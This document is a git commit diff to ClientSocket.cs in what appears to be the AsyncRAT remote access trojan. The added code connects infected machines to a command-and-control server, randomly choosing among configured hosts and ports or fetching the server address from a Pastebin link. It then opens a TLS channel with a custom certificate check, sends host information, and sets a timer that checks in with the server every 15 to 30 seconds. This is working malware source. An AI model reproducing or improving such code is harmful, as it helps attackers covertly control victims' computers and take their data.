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Update ClientSocket.cs

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NYAN CAT 2019-06-17 18:59:49 +03:00
parent 0a0087f0b2
commit c0163e74e3
1 changed files with 45 additions and 22 deletions
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67
AsyncRAT-C#/Client/Sockets/ClientSocket.cs
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@ -1,19 +1,15 @@
using Client.Handle_Packet; using Client.Handle_Packet;
using Client.Helper; using Client.Helper;
using Client.MessagePack; using Client.MessagePack;
using Microsoft.VisualBasic.Devices;
using System; using System;
using System.Diagnostics; using System.Diagnostics;
using System.IO; using System.IO;
using System.Net.Sockets; using System.Net.Sockets;
using System.Threading; using System.Threading;
using System.Text;
using System.Security.Principal;
using System.Net.Security; using System.Net.Security;
using System.Security.Authentication; using System.Security.Authentication;
using System.Security.Cryptography.X509Certificates; using System.Security.Cryptography.X509Certificates;
using System.Net; using System.Net;
using System.Text.RegularExpressions;
// │ Author : NYAN CAT // │ Author : NYAN CAT
// │ Name : Nyan Socket v0.1 // │ Name : Nyan Socket v0.1
@ -38,46 +34,68 @@ namespace Client.Sockets
{ {
try try
{ {
Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{ {
ReceiveBufferSize = 50 * 1024, ReceiveBufferSize = 50 * 1024,
SendBufferSize = 50 * 1024, SendBufferSize = 50 * 1024,
}; };
if (Settings.Pastebin == "null") if (Settings.Pastebin == "null")
{ {
Regex r = new Regex("^[a-zA-Z0-9]*$");
string ServerIP = Convert.ToString(Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]); string ServerIP = Convert.ToString(Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]);
Int16 ServerPort = Convert.ToInt16(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]); int ServerPort = Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]);
if (IsValidDomainName(ServerIP)) //check if the address is alphanumric (meaning its a domain)
if (r.IsMatch(ServerIP)) //check if the address is alphanumric (meaning its a domain)
{ {
IPAddress[] addresslist = Dns.GetHostAddresses(ServerIP); //get all IP's connected to that domain IPAddress[] addresslist = Dns.GetHostAddresses(ServerIP); //get all IP's connected to that domain
foreach (IPAddress theaddress in addresslist) //we do a foreach becasue a domain can lead to multiple IP's foreach (IPAddress theaddress in addresslist) //we do a foreach becasue a domain can lead to multiple IP's
{ {
Client.Connect(theaddress, ServerPort); //lets try and connect! try
{
Client.Connect(theaddress, ServerPort); //lets try and connect!
if (Client.Connected) break;
}
catch { }
} }
} }
else else
{ {
Client.Connect(ServerIP, ServerPort); //legacy mode connect (no DNS) Client.Connect(ServerIP, ServerPort); //legacy mode connect (no DNS)
} }
}
else
//Client.Connect(Convert.ToString(Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]), {
// Convert.ToInt16(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)])); using (WebClient wc = new WebClient())
{
NetworkCredential networkCredential = new NetworkCredential("", "");
wc.Credentials = networkCredential;
string resp = wc.DownloadString(Settings.Pastebin);
string[] spl = resp.Split(new[] { ":" }, StringSplitOptions.None);
Settings.Hosts = spl[0];
Settings.Ports = spl[new Random().Next(1, spl.Length)];
Client.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports));
}
} }
Debug.WriteLine("Connected!"); if (Client.Connected)
IsConnected = true; {
SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate); Debug.WriteLine("Connected!");
SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); IsConnected = true;
Buffer = new byte[4]; SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate);
MS = new MemoryStream(); SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
Send(Methods.SendInfo()); Buffer = new byte[4];
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); MS = new MemoryStream();
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); Send(Methods.SendInfo());
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
}
else
{
IsConnected = false;
return;
}
} }
catch catch
{ {
@ -87,6 +105,11 @@ namespace Client.Sockets
} }
} }
private static bool IsValidDomainName(string name)
{
return Uri.CheckHostName(name) != UriHostNameType.Unknown;
}
private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
{ {
#if DEBUG #if DEBUG